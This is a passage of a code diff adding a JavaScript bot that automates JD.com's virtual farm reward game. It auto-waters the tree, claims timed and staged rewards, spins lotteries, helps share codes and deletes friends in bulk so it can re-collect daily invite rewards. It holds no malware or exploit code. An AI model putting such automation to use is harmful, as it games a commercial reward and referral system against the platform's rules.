console.log(`【定时领水】获得${$.threeMeal.amount}g💧\n`); + // message += `【定时领水】获得${$.threeMeal.amount}g💧\n`; + } else { + // message += `【定时领水】失败,详询日志\n`; + console.log(`定时领水成功结果: ${JSON.stringify($.threeMeal)}`); + } + } else { + console.log('当前不在定时领水时间断或者已经领过\n') + } + //给好友浇水 + if (!$.farmTask.waterFriendTaskInit.f) { + if ($.farmTask.waterFriendTaskInit.waterFriendCountKey < $.farmTask.waterFriendTaskInit.waterFriendMax) { + await doFriendsWater(); + } + } else { + console.log(`给${$.farmTask.waterFriendTaskInit.waterFriendMax}个好友浇水任务已完成\n`) + } + // await Promise.all([ + // clockInIn(),//打卡领水 + // executeWaterRains(),//水滴雨 + // masterHelpShare(),//助力好友 + // getExtraAward(),//领取额外水滴奖励 + // turntableFarm()//天天抽奖得好礼 + // ]) + await getAwardInviteFriend(); + await clockInIn();//打卡领水 + await executeWaterRains();//水滴雨 + await getExtraAward();//领取额外水滴奖励 + await turntableFarm()//天天抽奖得好礼 +} +async function predictionFruit() { + console.log('开始预测水果成熟时间\n'); + await initForFarm(); + await taskInitForFarm(); + let waterEveryDayT = $.farmTask.totalWaterTaskInit.totalWaterTaskTimes;//今天到到目前为止,浇了多少次水 + message += `【今日共浇水】${waterEveryDayT}次\n`; + message += `【剩余 水滴】${$.farmInfo.farmUserPro.totalEnergy}g💧\n`; + message += `【水果🍉进度】${(($.farmInfo.farmUserPro.treeEnergy / $.farmInfo.farmUserPro.treeTotalEnergy) * 100).toFixed(2)}%,已浇水${$.farmInfo.farmUserPro.treeEnergy / 10}次,还需${($.farmInfo.farmUserPro.treeTotalEnergy - $.farmInfo.farmUserPro.treeEnergy) / 10}次\n` + if ($.farmInfo.toFlowTimes > ($.farmInfo.farmUserPro.treeEnergy / 10)) { + message += `【开花进度】再浇水${$.farmInfo.toFlowTimes - $.farmInfo.farmUserPro.treeEnergy / 10}次开花\n` + } else if ($.farmInfo.toFruitTimes > ($.farmInfo.farmUserPro.treeEnergy / 10)) { + message += `【结果进度】再浇水${$.farmInfo.toFruitTimes - $.farmInfo.farmUserPro.treeEnergy / 10}次结果\n` + } + // 预测n天后水果课可兑换功能 + let waterTotalT = ($.farmInfo.farmUserPro.treeTotalEnergy - $.farmInfo.farmUserPro.treeEnergy - $.farmInfo.farmUserPro.totalEnergy) / 10;//一共还需浇多少次水 + + let waterD = Math.ceil(waterTotalT / waterEveryDayT); + + message += `【预测】${waterD === 1 ? '明天' : waterD === 2 ? '后天' : waterD + '天之后'}(${timeFormat(24 * 60 * 60 * 1000 * waterD + Date.now())}日)可兑换水果🍉` +} +//浇水十次 +async function doTenWater() { + jdFruitBeanCard = $.getdata('jdFruitBeanCard') ? $.getdata('jdFruitBeanCard') : jdFruitBeanCard; + if ($.isNode() && process.env.FRUIT_BEAN_CARD) { + jdFruitBeanCard = process.env.FRUIT_BEAN_CARD; + } + await myCardInfoForFarm(); + const { fastCard, doubleCard, beanCard, signCard } = $.myCardInfoRes; + if (`${jdFruitBeanCard}` === 'true' && JSON.stringify($.myCardInfoRes).match(`限时翻倍`) && beanCard > 0) { + console.log(`您设置的是使用水滴换豆卡,且背包有水滴换豆卡${beanCard}张, 跳过10次浇水任务`) + return + } + if ($.farmTask.totalWaterTaskInit.totalWaterTaskTimes < $.farmTask.totalWaterTaskInit.totalWaterTaskLimit) { + console.log(`\n准备浇水十次`); + let waterCount = 0; + isFruitFinished = false; + for (; waterCount < $.farmTask.totalWaterTaskInit.totalWaterTaskLimit - $.farmTask.totalWaterTaskInit.totalWaterTaskTimes; waterCount++) { + console.log(`第${waterCount + 1}次浇水`); + await waterGoodForFarm(); + console.log(`本次浇水结果: ${JSON.stringify($.waterResult)}`); + if ($.waterResult.code === '0') { + console.log(`剩余水滴${$.waterResult.totalEnergy}g`); + if ($.waterResult.finished) { + // 已证实,waterResult.finished为true,表示水果可以去领取兑换了 + isFruitFinished = true; + break + } else { + if ($.waterResult.totalEnergy < 10) { + console.log(`水滴不够,结束浇水`) + break + } + await gotStageAward();//领取阶段性水滴奖励 + } + } else { + console.log('浇水出现失败异常,跳出不在继续浇水') + break; + } + } + if (isFruitFinished) { + option['open-url'] = urlSchema; + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】${$.farmInfo.farmUserPro.name}已可领取\n请去京东APP或微信小程序查看\n点击弹窗即达`, option); + $.done(); + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}水果已可领取`, `京东账号${$.index} ${$.nickName || $.UserName}\n${$.farmInfo.farmUserPro.name}已可领取`); + } + } + } else { + console.log('\n今日已完成10次浇水任务\n'); + } +} +//领取首次浇水奖励 +async function getFirstWaterAward() { + await taskInitForFarm(); + //领取首次浇水奖励 + if (!$.farmTask.firstWaterInit.f && $.farmTask.firstWaterInit.totalWaterTimes > 0) { + await firstWaterTaskForFarm(); + if ($.firstWaterReward.code === '0') { + console.log(`【首次浇水奖励】获得${$.firstWaterReward.amount}g💧\n`); + // message += `【首次浇水奖励】获得${$.firstWaterReward.amount}g💧\n`; + } else { + // message += '【首次浇水奖励】领取奖励失败,详询日志\n'; + console.log(`领取首次浇水奖励结果: ${JSON.stringify($.firstWaterReward)}`); + } + } else { + console.log('首次浇水奖励已领取\n') + } +} +//领取十次浇水奖励 +async function getTenWaterAward() { + //领取10次浇水奖励 + if (!$.farmTask.totalWaterTaskInit.f && $.farmTask.totalWaterTaskInit.totalWaterTaskTimes >= $.farmTask.totalWaterTaskInit.totalWaterTaskLimit) { + await totalWaterTaskForFarm(); + if ($.totalWaterReward.code === '0') { + console.log(`【十次浇水奖励】获得${$.totalWaterReward.totalWaterTaskEnergy}g💧\n`); + // message += `【十次浇水奖励】获得${$.totalWaterReward.totalWaterTaskEnergy}g💧\n`; + } else { + // message += '【十次浇水奖励】领取奖励失败,详询日志\n'; + console.log(`领取10次浇水奖励结果: ${JSON.stringify($.totalWaterReward)}`); + } + } else if ($.farmTask.totalWaterTaskInit.totalWaterTaskTimes < $.farmTask.totalWaterTaskInit.totalWaterTaskLimit) { + // message += `【十次浇水奖励】任务未完成,今日浇水${$.farmTask.totalWaterTaskInit.totalWaterTaskTimes}次\n`; + console.log(`【十次浇水奖励】任务未完成,今日浇水${$.farmTask.totalWaterTaskInit.totalWaterTaskTimes}次\n`); + } + console.log('finished 水果任务完成!'); +} +//再次浇水 +async function doTenWaterAgain() { + console.log('开始检查剩余水滴能否再次浇水再次浇水\n'); + await initForFarm(); + let totalEnergy = $.farmInfo.farmUserPro.totalEnergy; + console.log(`剩余水滴${totalEnergy}g\n`); + await myCardInfoForFarm(); + const { fastCard, doubleCard, beanCard, signCard } = $.myCardInfoRes; + console.log(`背包已有道具:\n快速浇水卡:${fastCard === -1 ? '未解锁': fastCard + '张'}\n水滴翻倍卡:${doubleCard === -1 ? '未解锁': doubleCard + '张'}\n水滴换京豆卡:${beanCard === -1 ? '未解锁' : beanCard + '张'}\n加签卡:${signCard === -1 ? '未解锁' : signCard + '张'}\n`) + if (totalEnergy >= 100 && doubleCard > 0) { + //使用翻倍水滴卡 + for (let i = 0; i < new Array(doubleCard).fill('').length; i++) { + await userMyCardForFarm('doubleCard'); + console.log(`使用翻倍水滴卡结果:${JSON.stringify($.userMyCardRes)}`); + } + await initForFarm(); + totalEnergy = $.farmInfo.farmUserPro.totalEnergy; + } + if (signCard > 0) { + //使用加签卡 + for (let i = 0; i < new Array(signCard).fill('').length; i++) { + await userMyCardForFarm('signCard'); + console.log(`使用加签卡结果:${JSON.stringify($.userMyCardRes)}`); + } + await initForFarm(); + totalEnergy = $.farmInfo.farmUserPro.totalEnergy; + } + jdFruitBeanCard = $.getdata('jdFruitBeanCard') ? $.getdata('jdFruitBeanCard') : jdFruitBeanCard; + if ($.isNode() && process.env.FRUIT_BEAN_CARD) { + jdFruitBeanCard = process.env.FRUIT_BEAN_CARD; + } + if (`${jdFruitBeanCard}` === 'true' && JSON.stringify($.myCardInfoRes).match('限时翻倍')) { + console.log(`\n您设置的是水滴换豆功能,现在为您换豆`); + if (totalEnergy >= 100 && $.myCardInfoRes.beanCard > 0) { + //使用水滴换豆卡 + await userMyCardForFarm('beanCard'); + console.log(`使用水滴换豆卡结果:${JSON.stringify($.userMyCardRes)}`); + if ($.userMyCardRes.code === '0') { + message += `【水滴换豆卡】获得${$.userMyCardRes.beanCount}个京豆\n`; + return + } + } else { + console.log(`您目前水滴:${totalEnergy}g,水滴换豆卡${$.myCardInfoRes.beanCard}张,暂不满足水滴换豆的条件,为您继续浇水`) + } + } + // if (totalEnergy > 100 && $.myCardInfoRes.fastCard > 0) { + // //使用快速浇水卡 + // await userMyCardForFarm('fastCard'); + // console.log(`使用快速浇水卡结果:${JSON.stringify($.userMyCardRes)}`); + // if ($.userMyCardRes.code === '0') { + // console.log(`已使用快速浇水卡浇水${$.userMyCardRes.waterEnergy}g`); + // } + // await initForFarm(); + // totalEnergy = $.farmInfo.farmUserPro.totalEnergy; + // } + // 所有的浇水(10次浇水)任务,获取水滴任务完成后,如果剩余水滴大于等于60g,则继续浇水(保留部分水滴是用于完成第二天的浇水10次的任务) + let overageEnergy = totalEnergy - retainWater; + if (totalEnergy >= ($.farmInfo.farmUserPro.treeTotalEnergy - $.farmInfo.farmUserPro.treeEnergy)) { + //如果现有的水滴,大于水果可兑换所需的对滴(也就是把水滴浇完,水果就能兑换了) + isFruitFinished = false; + for (let i = 0; i < ($.farmInfo.farmUserPro.treeTotalEnergy - $.farmInfo.farmUserPro.treeEnergy) / 10; i++) { + await waterGoodForFarm(); + console.log(`本次浇水结果(水果马上就可兑换了): ${JSON.stringify($.waterResult)}`); + if ($.waterResult.code === '0') { + console.log('\n浇水10g成功\n'); + if ($.waterResult.finished) { + // 已证实,waterResult.finished为true,表示水果可以去领取兑换了 + isFruitFinished = true; + break + } else { + console.log(`目前水滴【${$.waterResult.totalEnergy}】g,继续浇水,水果马上就可以兑换了`) + } + } else { + console.log('浇水出现失败异常,跳出不在继续浇水') + break; + } + } + if (isFruitFinished) { + option['open-url'] = urlSchema; + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】${$.farmInfo.farmUserPro.name}已可领取\n请去京东APP或微信小程序查看\n点击弹窗即达`, option); + $.done(); + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}水果已可领取`, `京东账号${$.index} ${$.nickName || $.UserName}\n${$.farmInfo.farmUserPro.name}已可领取`); + } + } + } else if (overageEnergy >= 10) { + console.log("目前剩余水滴:【" + totalEnergy + "】g,可继续浇水"); + isFruitFinished = false; + for (let i = 0; i < parseInt(overageEnergy / 10); i++) { + await waterGoodForFarm(); + console.log(`本次浇水结果: ${JSON.stringify($.waterResult)}`); + if ($.waterResult.code === '0') { + console.log(`\n浇水10g成功,剩余${$.waterResult.totalEnergy}\n`) + if ($.waterResult.finished) { + // 已证实,waterResult.finished为true,表示水果可以去领取兑换了 + isFruitFinished = true; + break + } else { + await gotStageAward() + } + } else { + console.log('浇水出现失败异常,跳出不在继续浇水') + break; + } + } + if (isFruitFinished) { + option['open-url'] = urlSchema; + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】${$.farmInfo.farmUserPro.name}已可领取\n请去京东APP或微信小程序查看\n点击弹窗即达`, option); + $.done(); + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}水果已可领取`, `京东账号${$.index} ${$.nickName || $.UserName}\n${$.farmInfo.farmUserPro.name}已可领取`); + } + } + } else { + console.log("目前剩余水滴:【" + totalEnergy + "】g,不再继续浇水,保留部分水滴用于完成第二天【十次浇水得水滴】任务") + } +} +//领取阶段性水滴奖励 +function gotStageAward() { + return new Promise(async resolve => { + if ($.waterResult.waterStatus === 0 && $.waterResult.treeEnergy === 10) { + console.log('果树发芽了,奖励30g水滴'); + await gotStageAwardForFarm('1'); + console.log(`浇水阶段奖励1领取结果 ${JSON.stringify($.gotStageAwardForFarmRes)}`); + if ($.gotStageAwardForFarmRes.code === '0') { + // message += `【果树发芽了】奖励${$.gotStageAwardForFarmRes.addEnergy}\n`; + console.log(`【果树发芽了】奖励${$.gotStageAwardForFarmRes.addEnergy}\n`); + } + } else if ($.waterResult.waterStatus === 1) { + console.log('果树开花了,奖励40g水滴'); + await gotStageAwardForFarm('2'); + console.log(`浇水阶段奖励2领取结果 ${JSON.stringify($.gotStageAwardForFarmRes)}`); + if ($.gotStageAwardForFarmRes.code === '0') { + // message += `【果树开花了】奖励${$.gotStageAwardForFarmRes.addEnergy}g💧\n`; + console.log(`【果树开花了】奖励${$.gotStageAwardForFarmRes.addEnergy}g💧\n`); + } + } else if ($.waterResult.waterStatus === 2) { + console.log('果树长出小果子啦, 奖励50g水滴'); + await gotStageAwardForFarm('3'); + console.log(`浇水阶段奖励3领取结果 ${JSON.stringify($.gotStageAwardForFarmRes)}`) + if ($.gotStageAwardForFarmRes.code === '0') { + // message += `【果树结果了】奖励${$.gotStageAwardForFarmRes.addEnergy}g💧\n`; + console.log(`【果树结果了】奖励${$.gotStageAwardForFarmRes.addEnergy}g💧\n`); + } + } + resolve() + }) +} +//天天抽奖活动 +async function turntableFarm() { + await initForTurntableFarm(); + if ($.initForTurntableFarmRes.code === '0') { + //领取定时奖励 //4小时一次 + let {timingIntervalHours, timingLastSysTime, sysTime, timingGotStatus, remainLotteryTimes, turntableInfos} = $.initForTurntableFarmRes; + + if (!timingGotStatus) { + console.log(`是否到了领取免费赠送的抽奖机会----${sysTime > (timingLastSysTime + 60*60*timingIntervalHours*1000)}`) + if (sysTime > (timingLastSysTime + 60*60*timingIntervalHours*1000)) { + await timingAwardForTurntableFarm(); + console.log(`领取定时奖励结果${JSON.stringify($.timingAwardRes)}`); + await initForTurntableFarm(); + remainLotteryTimes = $.initForTurntableFarmRes.remainLotteryTimes; + } else { + console.log(`免费赠送的抽奖机会未到时间`) + } + } else { + console.log('4小时候免费赠送的抽奖机会已领取') + } + if ($.initForTurntableFarmRes.turntableBrowserAds && $.initForTurntableFarmRes.turntableBrowserAds.length > 0) { + for (let index = 0; index < $.initForTurntableFarmRes.turntableBrowserAds.length; index++) { + if (!$.initForTurntableFarmRes.turntableBrowserAds[index].status) { + console.log(`开始浏览天天抽奖的第${index + 1}个逛会场任务`) + await browserForTurntableFarm(1, $.initForTurntableFarmRes.turntableBrowserAds[index].adId); + if ($.browserForTurntableFarmRes.code === '0' && $.browserForTurntableFarmRes.status) { + console.log(`第${index + 1}个逛会场任务完成,开始领取水滴奖励\n`) + await browserForTurntableFarm(2, $.initForTurntableFarmRes.turntableBrowserAds[index].adId); + if ($.browserForTurntableFarmRes.code === '0') { + console.log(`第${index + 1}个逛会场任务领取水滴奖励完成\n`) + await initForTurntableFarm(); + remainLotteryTimes = $.initForTurntableFarmRes.remainLotteryTimes; + } + } + } else { + console.log(`浏览天天抽奖的第${index + 1}个逛会场任务已完成`) + } + } + } + //天天抽奖助力 + console.log('开始天天抽奖--好友助力--每人每天只有三次助力机会.') + for (let code of newShareCodes) { + if (code === $.farmInfo.farmUserPro.shareCode) { + console.log('天天抽奖-不能自己给自己助力\n') + continue + } + await lotteryMasterHelp(code); + // console.log('天天抽奖助力结果',lotteryMasterHelpRes.helpResult) + if ($.lotteryMasterHelpRes.helpResult.code === '0') { + console.log(`天天抽奖-助力${$.lotteryMasterHelpRes.helpResult.masterUserInfo.nickName}成功\n`) + } else if ($.lotteryMasterHelpRes.helpResult.code === '11') { + console.log(`天天抽奖-不要重复助力${$.lotteryMasterHelpRes.helpResult.masterUserInfo.nickName}\n`) + } else if ($.lotteryMasterHelpRes.helpResult.code === '13') { + console.log(`天天抽奖-助力${$.lotteryMasterHelpRes.helpResult.masterUserInfo.nickName}失败,助力次数耗尽\n`); + break; + } + } + console.log(`---天天抽奖次数remainLotteryTimes----${remainLotteryTimes}次`) + //抽奖 + if (remainLotteryTimes > 0) { + console.log('开始抽奖') + let lotteryResult = ''; + for (let i = 0; i < new Array(remainLotteryTimes).fill('').length; i++) { + await lotteryForTurntableFarm() + console.log(`第${i + 1}次抽奖结果${JSON.stringify($.lotteryRes)}`); + if ($.lotteryRes.code === '0') { + turntableInfos.map((item) => { + if (item.type === $.lotteryRes.type) { + console.log(`lotteryRes.type${$.lotteryRes.type}`); + if ($.lotteryRes.type.match(/bean/g) && $.lotteryRes.type.match(/bean/g)[0] === 'bean') { + lotteryResult += `${item.name}个,`; + } else if ($.lotteryRes.type.match(/water/g) && $.lotteryRes.type.match(/water/g)[0] === 'water') { + lotteryResult += `${item.name},`; + } else { + lotteryResult += `${item.name},`; + } + } + }) + //没有次数了 + if ($.lotteryRes.remainLotteryTimes === 0) { + break + } + } + } + if (lotteryResult) { + console.log(`【天天抽奖】${lotteryResult.substr(0, lotteryResult.length - 1)}\n`) + // message += `【天天抽奖】${lotteryResult.substr(0, lotteryResult.length - 1)}\n`; + } + } else { + console.log('天天抽奖--抽奖机会为0次') + } + } else { + console.log('初始化天天抽奖得好礼失败') + } +} +//领取额外奖励水滴 +async function getExtraAward() { + await farmAssistInit(); + if ($.farmAssistResult.code === "0") { + if ($.farmAssistResult.assistFriendList && $.farmAssistResult.assistFriendList.length >= 2) { + if ($.farmAssistResult.status === 2) { + let num = 0; + for (let key of Object.keys($.farmAssistResult.assistStageList)) { + let vo = $.farmAssistResult.assistStageList[key] + if (vo.stageStaus === 2) { + await receiveStageEnergy() + if ($.receiveStageEnergy.code === "0") { + console.log(`已成功领取第${key + 1}阶段好友助力奖励:【${$.receiveStageEnergy.amount}】g水`) + num += $.receiveStageEnergy.amount + } + } + } + message += `【额外奖励】${num}g水领取成功\n`; + } else if ($.farmAssistResult.status === 3) { + console.log("已经领取过8好友助力额外奖励"); + message += `【额外奖励】已被领取过\n`; + } + } else { + console.log("助力好友未达到2个"); + message += `【额外奖励】领取失败,原因:给您助力的人未达2个\n`; + } + if ($.farmAssistResult.assistFriendList && $.farmAssistResult.assistFriendList.length > 0) { + let str = ''; + $.farmAssistResult.assistFriendList.map((item, index) => { + if (index === ($.farmAssistResult.assistFriendList.length - 1)) { + str += item.nickName || "匿名用户"; + } else { + str += (item.nickName || "匿名用户") + ','; + } + let date = new Date(item.time); + let time = date.getFullYear() + '-' + (date.getMonth() + 1) + '-' + date.getDate() + ' ' + date.getHours() + ':' + date.getMinutes() + ':' + date.getMinutes(); + console.log(`\n京东昵称【${item.nickName || "匿名用户"}】 在 ${time} 给您助过力\n`); + }) + message += `【助力您的好友】${str}\n`; + } + console.log('领取额外奖励水滴结束\n'); + } else { + await masterHelpTaskInitForFarm(); + if ($.masterHelpResult.code === '0') { + if ($.masterHelpResult.masterHelpPeoples && $.masterHelpResult.masterHelpPeoples.length >= 5) { + // 已有五人助力。领取助力后的奖励 + if (!$.masterHelpResult.masterGotFinal) { + await masterGotFinishedTaskForFarm(); + if ($.masterGotFinished.code === '0') { + console.log(`已成功领取好友助力奖励:【${$.masterGotFinished.amount}】g水`); + message += `【额外奖励】${$.masterGotFinished.amount}g水领取成功\n`; + } + } else { + console.log("已经领取过5好友助力额外奖励"); + message += `【额外奖励】已被领取过\n`; + } + } else { + console.log("助力好友未达到5个"); + message += `【额外奖励】领取失败,原因:给您助力的人未达5个\n`; + } + if ($.masterHelpResult.masterHelpPeoples && $.masterHelpResult.masterHelpPeoples.length > 0) { + let str = ''; + $.masterHelpResult.masterHelpPeoples.map((item, index) => { + if (index === ($.masterHelpResult.masterHelpPeoples.length - 1)) { + str += item.nickName || "匿名用户"; + } else { + str += (item.nickName || "匿名用户") + ','; + } + let date = new Date(item.time); + let time = date.getFullYear() + '-' + (date.getMonth() + 1) + '-' + date.getDate() + ' ' + date.getHours() + ':' + date.getMinutes() + ':' + date.getMinutes(); + console.log(`\n京东昵称【${item.nickName || "匿名用户"}】 在 ${time} 给您助过力\n`); + }) + message += `【助力您的好友】${str}\n`; + } + console.log('领取额外奖励水滴结束\n'); + } + } +} +//助力好友 +async function masterHelpShare() { + console.log('开始助力好友') + let salveHelpAddWater = 0; + let remainTimes = 3;//今日剩余助力次数,默认3次(京东农场每人每天3次助力机会)。 + let helpSuccessPeoples = '';//成功助力好友 + console.log(`格式化后的助力码::${JSON.stringify(newShareCodes)}\n`); + + for (let code of newShareCodes) { + console.log(`开始助力京东账号${$.index} - ${$.nickName || $.UserName}的好友: ${code}`); + if (!code) continue; + if (code === $.farmInfo.farmUserPro.shareCode) { + console.log('不能为自己助力哦,跳过自己的shareCode\n') + continue + } + await masterHelp(code); + if ($.helpResult.code === '0') { + if ($.helpResult.helpResult.code === '0') { + //助力成功 + salveHelpAddWater += $.helpResult.helpResult.salveHelpAddWater; + console.log(`【助力好友结果】: 已成功给【${$.helpResult.helpResult.masterUserInfo.nickName}】助力`); + console.log(`给好友【${$.helpResult.helpResult.masterUserInfo.nickName}】助力获得${$.helpResult.helpResult.salveHelpAddWater}g水滴`) + helpSuccessPeoples += ($.helpResult.helpResult.masterUserInfo.nickName || '匿名用户') + ','; + } else if ($.helpResult.helpResult.code === '8') { + console.log(`【助力好友结果】: 助力【${$.helpResult.helpResult.masterUserInfo.nickName}】失败,您今天助力次数已耗尽`); + } else if ($.helpResult.helpResult.code === '9') { + console.log(`【助力好友结果】: 之前给【${$.helpResult.helpResult.masterUserInfo.nickName}】助力过了`); + } else if ($.helpResult.helpResult.code === '10') { + console.log(`【助力好友结果】: 好友【${$.helpResult.helpResult.masterUserInfo.nickName}】已满五人助力`); + } else { + console.log(`助力其他情况:${JSON.stringify($.helpResult.helpResult)}`); + } + console.log(`【今日助力次数还剩】${$.helpResult.helpResult.remainTimes}次\n`); + remainTimes = $.helpResult.helpResult.remainTimes; + if ($.helpResult.helpResult.remainTimes === 0) { + console.log(`您当前助力次数已耗尽,跳出助力`); + break + } + } else { + console.log(`助力失败::${JSON.stringify($.helpResult)}`); + } + } + if ($.isLoon() || $.isQuanX() || $.isSurge()) { + let helpSuccessPeoplesKey = timeFormat() + $.farmInfo.farmUserPro.shareCode; + if (!$.getdata(helpSuccessPeoplesKey)) { + //把前一天的清除 + $.setdata('', timeFormat(Date.now() - 24 * 60 * 60 * 1000) + $.farmInfo.farmUserPro.shareCode); + $.setdata('', helpSuccessPeoplesKey); + } + if (helpSuccessPeoples) { + if ($.getdata(helpSuccessPeoplesKey)) { + $.setdata($.getdata(helpSuccessPeoplesKey) + ',' + helpSuccessPeoples, helpSuccessPeoplesKey); + } else { + $.setdata(helpSuccessPeoples, helpSuccessPeoplesKey); + } + } + helpSuccessPeoples = $.getdata(helpSuccessPeoplesKey); + } + if (helpSuccessPeoples && helpSuccessPeoples.length > 0) { + message += `【您助力的好友👬】${helpSuccessPeoples.substr(0, helpSuccessPeoples.length - 1)}\n`; + } + if (salveHelpAddWater > 0) { + // message += `【助力好友👬】获得${salveHelpAddWater}g💧\n`; + console.log(`【助力好友👬】获得${salveHelpAddWater}g💧\n`); + } + message += `【今日剩余助力👬】${remainTimes}次\n`; + console.log('助力好友结束,即将开始领取额外水滴奖励\n'); +} +//水滴雨 +async function executeWaterRains() { + let executeWaterRain = !$.farmTask.waterRainInit.f; + if (executeWaterRain) { + console.log(`水滴雨任务,每天两次,最多可得10g水滴`); + console.log(`两次水滴雨任务是否全部完成:${$.farmTask.waterRainInit.f ? '是' : '否'}`); + if ($.farmTask.waterRainInit.lastTime) { + if (Date.now() < ($.farmTask.waterRainInit.lastTime + 3 * 60 * 60 * 1000)) { + executeWaterRain = false; + // message += `【第${$.farmTask.waterRainInit.winTimes + 1}次水滴雨】未到时间,请${new Date($.farmTask.waterRainInit.lastTime + 3 * 60 * 60 * 1000).toLocaleTimeString()}再试\n`; + console.log(`\`【第${$.farmTask.waterRainInit.winTimes + 1}次水滴雨】未到时间,请${new Date($.farmTask.waterRainInit.lastTime + 3 * 60 * 60 * 1000).toLocaleTimeString()}再试\n`); + } + } + if (executeWaterRain) { + console.log(`开始水滴雨任务,这是第${$.farmTask.waterRainInit.winTimes + 1}次,剩余${2 - ($.farmTask.waterRainInit.winTimes + 1)}次`); + await waterRainForFarm(); + console.log('水滴雨waterRain'); + if ($.waterRain.code === '0') { + console.log('水滴雨任务执行成功,获得水滴:' + $.waterRain.addEnergy + 'g'); + console.log(`【第${$.farmTask.waterRainInit.winTimes + 1}次水滴雨】获得${$.waterRain.addEnergy}g水滴\n`); + // message += `【第${$.farmTask.waterRainInit.winTimes + 1}次水滴雨】获得${$.waterRain.addEnergy}g水滴\n`; + } + } + } else { + // message += `【水滴雨】已全部完成,获得20g💧\n`; + } +} +//打卡领水活动 +async function clockInIn() { + console.log('开始打卡领水活动(签到,关注,领券)'); + await clockInInitForFarm(); + if ($.clockInInit.code === '0') { + // 签到得水滴 + if (!$.clockInInit.todaySigned) { + console.log('开始今日签到'); + await clockInForFarm(); + console.log(`打卡结果${JSON.stringify($.clockInForFarmRes)}`); + if ($.clockInForFarmRes.code === '0') { + // message += `【第${$.clockInForFarmRes.signDay}天签到】获得${$.clockInForFarmRes.amount}g💧\n`; + console.log(`【第${$.clockInForFarmRes.signDay}天签到】获得${$.clockInForFarmRes.amount}g💧\n`) + if ($.clockInForFarmRes.signDay === 7) { + //可以领取惊喜礼包 + console.log('开始领取--惊喜礼包38g水滴'); + await gotClockInGift(); + if ($.gotClockInGiftRes.code === '0') { + // message += `【惊喜礼包】获得${$.gotClockInGiftRes.amount}g💧\n`; + console.log(`【惊喜礼包】获得${$.gotClockInGiftRes.amount}g💧\n`); + } + } + } + } + if ($.clockInInit.todaySigned && $.clockInInit.totalSigned === 7) { + console.log('开始领取--惊喜礼包38g水滴'); + await gotClockInGift(); + if ($.gotClockInGiftRes.code === '0') { + // message += `【惊喜礼包】获得${$.gotClockInGiftRes.amount}g💧\n`; + console.log(`【惊喜礼包】获得${$.gotClockInGiftRes.amount}g💧\n`); + } + } + // 限时关注得水滴 + if ($.clockInInit.themes && $.clockInInit.themes.length > 0) { + for (let item of $.clockInInit.themes) { + if (!item.hadGot) { + console.log(`关注ID${item.id}`); + await clockInFollowForFarm(item.id, "theme", "1"); + console.log(`themeStep1--结果${JSON.stringify($.themeStep1)}`); + if ($.themeStep1.code === '0') { + await clockInFollowForFarm(item.id, "theme", "2"); + console.log(`themeStep2--结果${JSON.stringify($.themeStep2)}`); + if ($.themeStep2.code === '0') { + console.log(`关注${item.name},获得水滴${$.themeStep2.amount}g`); + } + } + } + } + } + // 限时领券得水滴 + if ($.clockInInit.venderCoupons && $.clockInInit.venderCoupons.length > 0) { + for (let item of $.clockInInit.venderCoupons) { + if (!item.hadGot) { + console.log(`领券的ID${item.id}`); + await clockInFollowForFarm(item.id, "venderCoupon", "1"); + console.log(`venderCouponStep1--结果${JSON.stringify($.venderCouponStep1)}`); + if ($.venderCouponStep1.code === '0') { + await clockInFollowForFarm(item.id, "venderCoupon", "2"); + if ($.venderCouponStep2.code === '0') { + console.log(`venderCouponStep2--结果${JSON.stringify($.venderCouponStep2)}`); + console.log(`从${item.name}领券,获得水滴${$.venderCouponStep2.amount}g`); + } + } + } + } + } + } + console.log('开始打卡领水活动(签到,关注,领券)结束\n'); +} +// +async function getAwardInviteFriend() { + await friendListInitForFarm();//查询好友列表 + // console.log(`查询好友列表数据:${JSON.stringify($.friendList)}\n`) + if ($.friendList) { + console.log(`\n今日已邀请好友${$.friendList.inviteFriendCount}个 / 每日邀请上限${$.friendList.inviteFriendMax}个`); + console.log(`开始删除${$.friendList.friends && $.friendList.friends.length}个好友,可拿每天的邀请奖励`); + if ($.friendList.friends && $.friendList.friends.length > 0) { + for (let friend of $.friendList.friends) { + console.log(`\n开始删除好友 [${friend.shareCode}]`); + const deleteFriendForFarm = await request('deleteFriendForFarm', { "shareCode": `${friend.shareCode}`,"version":8,"channel":1 }); + if (deleteFriendForFarm && deleteFriendForFarm.code === '0') { + console.log(`删除好友 [${friend.shareCode}] 成功\n`); + } + } + } + await receiveFriendInvite();//为他人助力,接受邀请成为别人的好友 + if ($.friendList.inviteFriendCount > 0) { + if ($.friendList.inviteFriendCount > $.friendList.inviteFriendGotAwardCount) { + console.log('开始领取邀请好友的奖励'); + await awardInviteFriendForFarm(); + console.log(`领取邀请好友的奖励结果::${JSON.stringify($.awardInviteFriendRes)}`); + } + } else { + console.log('今日未邀请过好友') + } + } else { + console.log(`查询好友列表失败\n`); + } +} +//给好友浇水 +async function doFriendsWater() { + await friendListInitForFarm(); + console.log('开始给好友浇水...'); + await taskInitForFarm(); + const { waterFriendCountKey, waterFriendMax } = $.farmTask.waterFriendTaskInit; + console.log(`今日已给${waterFriendCountKey}个好友浇水`); + if (waterFriendCountKey < waterFriendMax) { + let needWaterFriends = []; + if ($.friendList.friends && $.friendList.friends.length > 0) { + $.friendList.friends.map((item, index) => { + if (item.friendState === 1) { + if (needWaterFriends.length < (waterFriendMax - waterFriendCountKey)) { + needWaterFriends.push(item.shareCode); + } + } + }); + console.log(`需要浇水的好友列表shareCodes:${JSON.stringify(needWaterFriends)}`); + let waterFriendsCount = 0, cardInfoStr = ''; + for (let index = 0; index < needWaterFriends.length; index ++) { + await waterFriendForFarm(needWaterFriends[index]); + console.log(`为第${index+1}个好友浇水结果:${JSON.stringify($.waterFriendForFarmRes)}\n`) + if ($.waterFriendForFarmRes.code === '0') { + waterFriendsCount ++; + if ($.waterFriendForFarmRes.cardInfo) { + console.log('为好友浇水获得道具了'); + if ($.waterFriendForFarmRes.cardInfo.type === 'beanCard') { + console.log(`获取道具卡:${$.waterFriendForFarmRes.cardInfo.rule}`); + cardInfoStr += `水滴换豆卡,`; + } else if 